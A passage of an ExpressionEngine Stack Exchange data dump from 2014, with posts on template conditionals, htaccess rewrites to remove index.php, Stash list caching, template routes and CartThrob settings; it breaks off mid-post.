  <row Id="22092" PostTypeId="2" ParentId="22082" CreationDate="2014-05-20T18:15:32.353" Score="1" Body="&lt;p&gt;It's possible the CartThrob developers removed the field for the license number and have not updated their docs. It is not required that you add the license number and the Module will not stop working if it's not there.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2014-05-20T18:15:32.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22093" PostTypeId="2" ParentId="22082" CreationDate="2014-05-20T18:39:45.060" Score="1" Body="&lt;p&gt;Assuming nothing has changed with recent versions of Cartthrob, and Cartthrob has been properly installed you should go to Add-Ons-&gt;Modules-&gt;Cartthrob, then you should see a place to enter the licence number. (under the Global tab).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may also have  shortcut to go directly to the Cartthrob settings page in your Control Panel menu bar.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-05-20T18:39:45.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22094" PostTypeId="2" ParentId="20294" CreationDate="2014-05-20T18:56:19.413" Score="1" Body="&lt;p&gt;I can confirm that the advanced settings do appear to get saved - they just don't appear again on the Editor Configurations page. This seems to be a bug which prevents the display of the advanced configurations rather than a bug in saving them. The advanced configurations I saved were available for use on the publish page.&lt;/p&gt;&#xA;" OwnerUserId="1508" LastActivityDate="2014-05-20T18:56:19.413" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22095" PostTypeId="2" ParentId="20558" CreationDate="2014-05-20T19:50:36.270" Score="1" Body="&lt;p&gt;You need to ensure you are setting the status on the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/search/advanced.html#status&quot; rel=&quot;nofollow&quot;&gt;search form tag itself&lt;/a&gt;, rather than on the results tag.&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2014-05-20T19:50:36.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22096" PostTypeId="2" ParentId="20558" CreationDate="2014-05-20T19:52:34.877" Score="0" Body="&lt;p&gt;You don't need to set status=&quot;Open&quot; anywhere in your templates. ExpressionEngine already assumes you want &quot;open&quot; entries and will return &quot;open&quot; entries by default.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2014-05-20T19:52:34.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22097" PostTypeId="1" CreationDate="2014-05-20T20:00:09.057" Score="0" ViewCount="113" Body="&lt;p&gt;When I get a 404 page, the URL in the browser remains pointing to the page I was &lt;em&gt;trying&lt;/em&gt; to reach. ie. the address bar will show domain.com/unreachable-page not domain.com/404. Which is fine and, I believe, correct behaviour. However…&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That being the case, is there any way to target the 404 template with a conditional? (In this case, from within an embed or snippet that appears on every template -- I wish to have some different content for the 404 template). It would seem that segments are not going to be much help here, so I wondered if there is another way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if is_404_template}&#xA;    // Display something&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="307" LastEditorUserId="55" LastEditDate="2014-05-20T21:19:49.083" LastActivityDate="2014-05-21T00:32:34.283" Title="Conditionally targeting the 404 template" Tags="|conditionals|404|segments|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="22100" PostTypeId="2" ParentId="22040" CreationDate="2014-05-20T21:40:05.817" Score="1" Body="&lt;p&gt;Checkout Photo Frame. It does exactly what you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Docs&#xA;&lt;a href=&quot;https://objectivehtml.com/photo-frame&quot; rel=&quot;nofollow&quot;&gt;https://objectivehtml.com/photo-frame&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Devot:ee&#xA;&lt;a href=&quot;http://devot-ee.com/add-ons/photo-frame&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/photo-frame&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2014-05-20T21:40:05.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22101" PostTypeId="2" ParentId="20548" CreationDate="2014-05-20T21:51:59.470" Score="2" Body="&lt;p&gt;Are your users behind a corporate firewall? Sometimes those will include proxies that use their own caching, delivering stale forms to visitors. If that's the case, the network admins should be able to disable network caching for the site.&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2014-05-20T21:51:59.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22102" PostTypeId="1" AcceptedAnswerId="22167" CreationDate="2014-05-20T22:04:43.797" Score="1" ViewCount="321" Body="&lt;p&gt;I created an ExpressionEngine site.  The site has various channels with entry data (ie. news, blog posts).  I added exp:search:simple_form and it works great for the channel entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I also have a number of template pages with static content.  The content is so different on each page, that I don't believe it makes sense to create a single &quot;About Us&quot; template and create an About Us channel with entries for annual report, history, leadership, and the index. I need to be able to search &quot;static&quot; content on my template pages as well as the regular channel entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.dropbox.com/s/jvyqbgy5lf4ux4g/Template_Manager.png&quot; rel=&quot;nofollow&quot;&gt;https://www.dropbox.com/s/jvyqbgy5lf4ux4g/Template_Manager.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know of a &quot;good&quot; way to search all template pages within an ExpressionEngine site? Should I consider some other &quot;non-EE&quot; method of site search?&lt;/p&gt;&#xA;" OwnerUserId="3121" LastActivityDate="2014-05-22T12:24:14.803" Title="Search template pages" Tags="|ee2|templates|search|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22103" PostTypeId="2" ParentId="22097" CreationDate="2014-05-21T00:32:34.283" Score="1" Body="&lt;p&gt;Since your &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/design/templates/global_template_preferences.html#page&quot; rel=&quot;nofollow&quot;&gt;404 template is one specific&lt;/a&gt;, you can, of course, add a &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/globals/preload_replacement.html&quot; rel=&quot;nofollow&quot;&gt;Preload Replace Variable&lt;/a&gt; to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say you have a snippet which appears on every template called &lt;code&gt;{snip-html}&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{preload_replace:pre-root_class=&quot;&quot;}{!-- setting a default value --}&#xA;&amp;lt;html class=&quot;{pre-root_class}&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On the template set to be your 404, you can override this value:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{preload_replace:pre-root_class=&quot;404&quot;}&#xA;{snip-html}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This template will have the snippet parsed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{preload_replace:pre-root_class=&quot;404&quot;}&#xA;{preload_replace:pre-root_class=&quot;&quot;}&#xA;&amp;lt;html class=&quot;{pre-root_class}&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, the first preload replace variable:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{preload_replace:pre-root_class=&quot;&quot;}&#xA;&amp;lt;html class=&quot;404&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, the second one will not find where to go and will just disappear:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;html class=&quot;404&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See? You created a variable for this specific template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to create a simple example adapting something I already used, because I don't know exactly what you need, but you can, of course, use this on a conditional or make adaptations.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2014-05-21T00:32:34.283" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22104" PostTypeId="1" CreationDate="2014-05-21T00:45:52.917" Score="1" ViewCount="48" Body="&lt;p&gt;I've been trying to import thousands upon thousands of entries into a few different channels.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before I get too far into my current project, I just wanted to clarify that there is no limit as to how high the entry IDs can go in ExpressionEngine.&lt;/p&gt;&#xA;" OwnerUserId="1815" LastActivityDate="2014-05-21T08:18:12.967" Title="Is there a limit on how high the Entry IDs can go?" Tags="|channel-entries|entryid|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22105" PostTypeId="1" AcceptedAnswerId="22113" CreationDate="2014-05-21T01:35:33.457" Score="2" ViewCount="627" Body="&lt;p&gt;&lt;strong&gt;&lt;em&gt;Fatal error:&lt;/strong&gt; ob_start() [ref.outcontrol]: Cannot use output buffering in output buffering display handlers in /home/.../public_html/system/codeigniter/system/core/Exceptions.php on line 166&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately the web server to my site was hacked and an add-on designed for the control panel had code inserted into one of it's files. I have removed the offending file and ensured that my server settings were secure. Unfortunately, in the process aspects of that plugin are not working. I attempted to manually remove the add-on by removing references to it within the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This did resolve the original error that I was receiving. However, I am now receiving a new error as noted above. I have checked and even replaced the entire codeigniter directory, so there is no malicious code within it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At this point the website is rendering correctly, but the admin.php is still displaying the above error. I assume that it has something to do with what i did in the sql database, but I am unsure how to track down and repair this issue. Any assistance would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="2893" LastActivityDate="2014-05-21T15:28:25.283" Title="Codeigniter Error on Admin Page" Tags="|ee2|add-on|codeigniter|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22106" PostTypeId="1" CreationDate="2014-05-21T01:59:27.277" Score="1" ViewCount="560" Body="&lt;p&gt;Just installed EE 2.8.1, haven't renamed the system folder yet and am trying to set up the htaccess file to remove index.php from URLs. When I use the htaccess code recommended in the installation instructions, I get an internal server error. The error log gives an alert:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;.htaccess: RewriteRule: cannot compile regular expression '(.&lt;em&gt;?)index\.php/&lt;/em&gt;(.*)'\n&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the .htacess contents&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;    RewriteEngine On&#xA;    RewriteBase /&#xA;&#xA;    # Removes index.php from ExpressionEngine URLs&#xA;    RewriteCond %{THE_REQUEST} ^GET.*index\.php [NC]&#xA;    RewriteCond %{REQUEST_URI} !/system/.* [NC]&#xA;    RewriteRule (.*?)index\.php/*(.*) /$1$2 [R=301,NE,L]&#xA;&#xA;    # Directs all EE web requests through the site index file&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xA;    RewriteCond %{REQUEST_FILENAME} !-d&#xA;    RewriteRule ^(.*)$ /index.php/$1 [L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Anyone run into this and know how to fix it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's on an Apache 1.3.4 server; fresh install, no addons.&lt;/p&gt;&#xA;" OwnerUserId="546" LastActivityDate="2014-05-22T15:57:50.890" Title="Removing index.php causes internal server error" Tags="|ee2|htaccess|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22107" PostTypeId="2" ParentId="22106" CreationDate="2014-05-21T02:54:45.293" Score="1" Body="&lt;p&gt;The htaccess setting depends of the characteristics of the server. I encountered the same problem too on a Apache server, the htaccess model from the doc was not working properly. You could try this one:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;    RewriteEngine On&#xA;    RewriteBase /&#xA;&#xA;&#xA;RewriteCond %{QUERY_STRING} !^(ACT=.*)$ [NC]&#xA;RewriteCond %{REQUEST_URI} !(\.[a-zA-Z0-9]{1,5})$&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;&#xA;&#xA;RewriteCond %{REQUEST_URI} ^/() [NC,OR] &#xA;RewriteCond %{REQUEST_URI} ^/(member|P[0-9]{2,8}) [NC]&#xA;RewriteRule (.*) /index.php/$1 [L]&#xA;&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Else if it's not working try to contact the administrator of the server.&lt;/p&gt;&#xA;" OwnerUserId="1918" LastActivityDate="2014-05-21T02:54:45.293" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22108" PostTypeId="2" ParentId="22104" CreationDate="2014-05-21T02:59:01.053" Score="5" Body="&lt;p&gt;Entry IDs are stored as an unsigned integer field in MySQL, meaning the maximum value is 4294967295&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2014-05-21T02:59:01.053" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22109" PostTypeId="1" AcceptedAnswerId="22111" CreationDate="2014-05-21T03:20:54.183" Score="0" ViewCount="75" Body="&lt;p&gt;I'm using the MVVC approach and all works well until I turn on fragment caching. This works, but of course does not offer any performance advantages.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;`{exp:stash:set_list &#xA;        name=&quot;tutorials&quot; &#xA;        parse_tags=&quot;yes&quot;&#xA;        parse_conditionals=&quot;yes&quot;&#xA;        parse_depth=&quot;2&quot;&#xA;    }&#xA;&#xA;        {exp:channel:entries &#xA;            channel=&quot;tutorials&quot;&#xA;            dynamic=&quot;no&quot; &#xA;            disable=&quot;member_data&quot;&#xA;        }   &#xA;            {stash:item-entry-id}{entry_id}{/stash:item-entry-id}&#xA;            {stash:entry-title}{title}{/stash:entry-title}&#xA;            {exp:stash:set_list:nested &#xA;                name=&quot;tags&quot;&#xA;                context=&quot;{entry_id}&quot;&#xA;                parse_tags=&quot;yes&quot;&#xA;            }&#xA;                {exp:tagger:tags entry_id=&quot;{entry_id}&quot;}&#xA;                    {stash:tag-url-name}{tagger:urlsafe_tagname}{/stash:tag-url-name}&#xA;                    {stash:tag-name}{tagger:tag_name}{/stash:tag-name}&#xA;                {/exp:tagger:tags}&#xA;        {/exp:channel:entries} &#xA;    {/exp:stash:set_list}` &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I set it to save using the following parameters, the tags are not shown anymore:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list &#xA;        name=&quot;tutorials&quot; &#xA;        parse_tags=&quot;yes&quot;&#xA;        parse_conditionals=&quot;yes&quot;&#xA;        parse_depth=&quot;2&quot;&#xA;        save=&quot;yes&quot;&#xA;        scope=&quot;site&quot;&#xA;        refresh=&quot;5&quot;&#xA;        replace=&quot;no&quot;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My layout template where I get the tags looks like this (other markup and stash data removed for clarity):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get_list name=&quot;tutorials&quot; paginate=&quot;bottom&quot; limit=&quot;10&quot;}&#xA;    &amp;lt;p class=&quot;custom meta&quot;&amp;gt;&#xA;    &amp;lt;span class=&quot;fa fa-tags&quot;&amp;gt;&#xA;    {exp:stash:get_list:nested &#xA;        name=&quot;tags&quot; &#xA;        context=&quot;{item-entry-id}&quot; &#xA;        prefix=&quot;nested&quot; &#xA;        backspace=&quot;2&quot;}&#xA;        &amp;lt;a href=&quot;/search/tag/{nested:tag-url-name}&quot; rel=&quot;tag&quot;&amp;gt;{nested:tag-name}&amp;lt;/a&amp;gt;,      &#xA;    {/exp:stash:get_list:nested}&#xA;{/exp:stash:get_list}               &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I suspect it is caching the first set_list data before it actually parses the nested list that gets the tag data. I did try to use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{stash:embed:layouts:listing-text parse_stage=&quot;both&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But that didn't work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe this approach (using a set_list) isn't the best way to do this. The page is a listing of entries and I want to be able to use pagination and switchee cases to allow for displaying filtered content by category and tag using regex with switchee. &lt;/p&gt;&#xA;" OwnerUserId="80" LastActivityDate="2014-05-21T06:52:53.073" Title="Entry tags are lost when saving Stash set_list" Tags="|stash|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22111" PostTypeId="2" ParentId="22109" CreationDate="2014-05-21T06:52:53.073" Score="1" Body="&lt;p&gt;Try adding on your get_list tag &lt;code&gt;scope=site&lt;/code&gt; I seem to recall this being a thing.&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2014-05-21T06:52:53.073" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22112" PostTypeId="2" ParentId="22066" CreationDate="2014-05-21T07:09:07.633" Score="1" Body="&lt;p&gt;Great write up by Jesse Knowles - took me 10 minutes to be up-and-running with https. &lt;a href=&quot;http://www.jesseknowles.com/blog/article/forcing-https-on-an-expressionengine-site/&quot; rel=&quot;nofollow&quot;&gt;http://www.jesseknowles.com/blog/article/forcing-https-on-an-expressionengine-site/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="552" LastActivityDate="2014-05-21T07:09:07.633" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22113" PostTypeId="2" ParentId="22105" CreationDate="2014-05-21T08:06:40.437" Score="3" Body="&lt;p&gt;That's a nasty one to debug. My advice is to let someone with &#xA;a bit of codeigniter / expressionengine knowhow look at.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the addon was an extension, check if it is still referenced in the exp_extensions table. (duplicate table first as backup, then remove row with offending extension from exp_extensions table). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit: you might also be able to disable all extension in config (without unstalling them).&lt;br&gt;&#xA;See this SE topic. &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/9252/is-there-a-quick-way-to-disable-all-plugins&quot;&gt;Is there a quick way to disable all plugins?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="155" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2014-05-21T08:06:40.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22114" PostTypeId="2" ParentId="22104" CreationDate="2014-05-21T08:18:12.967" Score="3" Body="&lt;p&gt;More a general MySQL tip: if you need to test the import and re-import a couple of times, keep an eye on the auto_increment value for the entry_id column of exp_channel_titles. Either reset auto_increment after deleting a test import, or set the entry_id value as well on import.&lt;/p&gt;&#xA;" OwnerUserId="155" LastActivityDate="2014-05-21T08:18:12.967" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22115" PostTypeId="1" CreationDate="2014-05-21T08:37:03.153" Score="0" ViewCount="58" Body="&lt;p&gt;Is it possible? Basically the scenario is this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Member in default Member Group submits Channel form to make entry.&#xA;2) Entry automatically set to status 'Under Review'&#xA;3) Admin reviews and - if necessary - marks 'approved'&#xA;4) Author/Member automatically changes group from 'Members' to 'Approved'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anyway of doing this? I'm thinking perhaps not. Looked at Zoo Visitor but don't think it's the right fit. Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="2748" LastActivityDate="2014-05-21T11:52:17.133" Title="Trigger to Change Author's Member Group on Channel Status change?" Tags="|members|status|groups|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22117" PostTypeId="1" CreationDate="2014-05-21T10:06:14.937" Score="0" ViewCount="35" Body="&lt;p&gt;So I have a blog where I am paginating my entries to 6 per page. Generally the standard pagination built into EE is fine, but for this I only ever want 4 page numbers to show in the pagination bar like so&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Prev 1 2 3 4 Next &lt;em&gt;or&lt;/em&gt; Prev 7 8 9 10 Next&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't think that the &lt;code&gt;page_padding&lt;/code&gt; parameter will work in this way - do you know if it's possible to have EE's pagination work in this way or will I have to get an add on like &lt;a href=&quot;http://devot-ee.com/add-ons/ab-pagination&quot; rel=&quot;nofollow&quot;&gt;AB Pagination&lt;/a&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="1870" LastActivityDate="2014-05-21T11:33:34.713" Title="Fixed amout of page links in pagination" Tags="|ee2|pagination|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22118" PostTypeId="1" AcceptedAnswerId="22123" CreationDate="2014-05-21T10:25:06.327" Score="2" ViewCount="421" Body="&lt;p&gt;I'm trying to use &lt;strong&gt;regular expressions&lt;/strong&gt; with the &lt;strong&gt;new template routes&lt;/strong&gt; in ExpressionEngine 2.8. I have little experience with either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the Template Route Manager, I'd like to route multiple URLs to a single template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;domain.com/workplace-coaching/&#xA;domain.com/workplace-coaching/{url-title}&#xA;domain.com/personal-coaching/&#xA;domain.com/personal-coaching/{url-title}&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Problem is, I don't know how to specify segment_1 == 'workplace-coaching' OR segment_1 == 'personal-coaching' using the Template Route Manager.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm assuming I need to call upon the Regular Expressions feature so have tried&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;{variable:regex[(workplace\-coaching|personal\-coaching)]}/{url_title}&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Whilst this works, for the urls above, it also seems to match other urls. For instance domain.com/blog now routes to same template as the above urls.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suspect my Regrex is wrong, and is matching too many options including blog, however don't know how to fix it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any insights would be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="2167" LastActivityDate="2014-05-21T20:47:06.880" Title="Template Routes and Regular Expressions" Tags="|2.8|regular-expressions|template-manager|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22120" PostTypeId="2" ParentId="22117" CreationDate="2014-05-21T11:33:34.713" Score="1" Body="&lt;p&gt;I got the AB Pagination plugin after all - not only do I think that standard pagination won't work for this, but there are other things we need to do that AB Pagination solves, so there we have it!&lt;/p&gt;&#xA;" OwnerUserId="1870" LastActivityDate="2014-05-21T11:33:34.713" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22122" PostTypeId="2" ParentId="22115" CreationDate="2014-05-21T11:52:17.133" Score="1" Body="&lt;p&gt;I'm assuming that the status is being changed in the EE control panel?  If so, then this will likely require an extension that uses the entry_submission_end hook:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.ellislab.com/expressionengine/user-guide/development/extension_hooks/api/channel_entries/index.html#entry_submission_end&quot; rel=&quot;nofollow&quot;&gt;http://www.ellislab.com/expressionengine/user-guide/development/extension_hooks/api/channel_entries/index.html#entry_submission_end&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's a pretty simple script to just check if the status being submitted is 'approved' and then if it is to update the database with the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/usage/database.html&quot; rel=&quot;nofollow&quot;&gt;EE database class&lt;/a&gt; and change the member group to the desired number.&lt;/p&gt;&#xA;" OwnerUserId="2842" LastActivityDate="2014-05-21T11:52:17.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22123" PostTypeId="2" ParentId="22118" CreationDate="2014-05-21T12:10:08.940" Score="2" Body="&lt;p&gt;The &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/urls/template_routes.html#template-route&quot; rel=&quot;nofollow&quot;&gt;variables&lt;/a&gt; need to have a name and that &lt;code&gt;url_title&lt;/code&gt; is a &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/general/reserved_words.html&quot; rel=&quot;nofollow&quot;&gt;reserved word&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To avoid conflicts, if you need to keep the &lt;em&gt;Segments required&lt;/em&gt; set to &lt;em&gt;no&lt;/em&gt;, keep a static part on the first segment:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/{coaching_type:regex[(workplace|personal)]}-coaching/{coaching_title:alpha_dash}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;By this way, you can't grab the first segment by &lt;code&gt;{segment:coaching_type}&lt;/code&gt;, but &lt;code&gt;{segment_1}&lt;/code&gt; still works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please, try this.&lt;/p&gt;&#xA;" OwnerUserId="343" LastEditorUserId="343" LastEditDate="2014-05-21T20:47:06.880" LastActivityDate="2014-05-21T20:47:06.880" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="22124" PostTypeId="1" CreationDate="2014-05-21T13:03:41.373" Score="1" ViewCount="112" Body="&lt;p&gt;Can't seem to pull a custom email variable from Cartthrob orders into the Postmaster. I can see postmaster is sending the message on authorisation but the variable is not showing the email address from the order field and shows the variable {order_custom_email}. What am I doing wrong? Can not I not use this custom variable in the order channel?&lt;/p&gt;&#xA;" OwnerUserId="433" LastEditorUserId="433" LastEditDate="2014-05-22T06:45:13.123" LastActivityDate="2016-05-19T20:43:12.670" Title="Postmaster - Custom Field Notification" Tags="|cartthrob|postmaster|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22125" PostTypeId="1" CreationDate="2014-05-21T13:30:51.567" Score="0" ViewCount="63" Body="&lt;p&gt;I'm building an order process to order a specific item, separate from the rest of the site's CT Checkout process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've turned VAT off for the specific item but VAT is being added to the overall order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How do I turn off VAT for a specific order?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="1994" LastActivityDate="2015-07-16T07:02:24.233" Title="CartThrob VAT issue" Tags="|cartthrob|tax|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22126" PostTypeId="1" AcceptedAnswerId="22168" CreationDate="2014-05-21T13:48:15.070" Score="0" ViewCount="81" Body="&lt;p&gt;I have a couple of formats that a news story can display on the site. I have each of these as a different Stash embed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They're named in this format: &lt;code&gt;story-block&lt;/code&gt;, &lt;code&gt;story-focal&lt;/code&gt;, &lt;code&gt;story-standard&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The site is in a magazine format and so uses many different styles on one page, often mix and matching them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, on the homepage it loads in 16 blog posts, the first 4 are in &lt;code&gt;story-block&lt;/code&gt; format, the next 6 are in &lt;code&gt;story-standard&lt;/code&gt; format and the final is in &lt;code&gt;story-block&lt;/code&gt; format.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following code doesn't work, but demonstrates the concept I'm trying to achieve.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  &amp;lt;div class=&quot;two-by&quot;&amp;gt;&#xA;    {exp:stash:get_list name=&quot;news&quot; limit=&quot;4&quot;}&#xA;      {exp:stash:embed:modules:story-block process=&quot;start&quot;}&#xA;    {/exp:stash:get_list}&#xA;  &amp;lt;/div&amp;gt;&#xA;&#xA;  {exp:stash:get_list name=&quot;news&quot; limit=&quot;6&quot; offset=&quot;4&quot;}&#xA;    {exp:stash:embed:modules:story-standard}&#xA;  {/exp:stash:get_list}&#xA;&#xA;  {exp:stash:get_list name=&quot;news&quot; limit=&quot;1&quot; offset=&quot;10&quot;}&#xA;    {exp:stash:embed:modules:story-block}&#xA;  {/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;story-block&lt;/code&gt; has the following markup:-&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;article class=&quot;story story--block&quot;&amp;gt;&#xA;  &amp;lt;a href=&quot;{url}&quot;&amp;gt;&#xA;    &amp;lt;img src=&quot;{photo}&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;story__details&quot;&amp;gt;&#xA;      &amp;lt;h2 class=&quot;main-title&quot;&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;      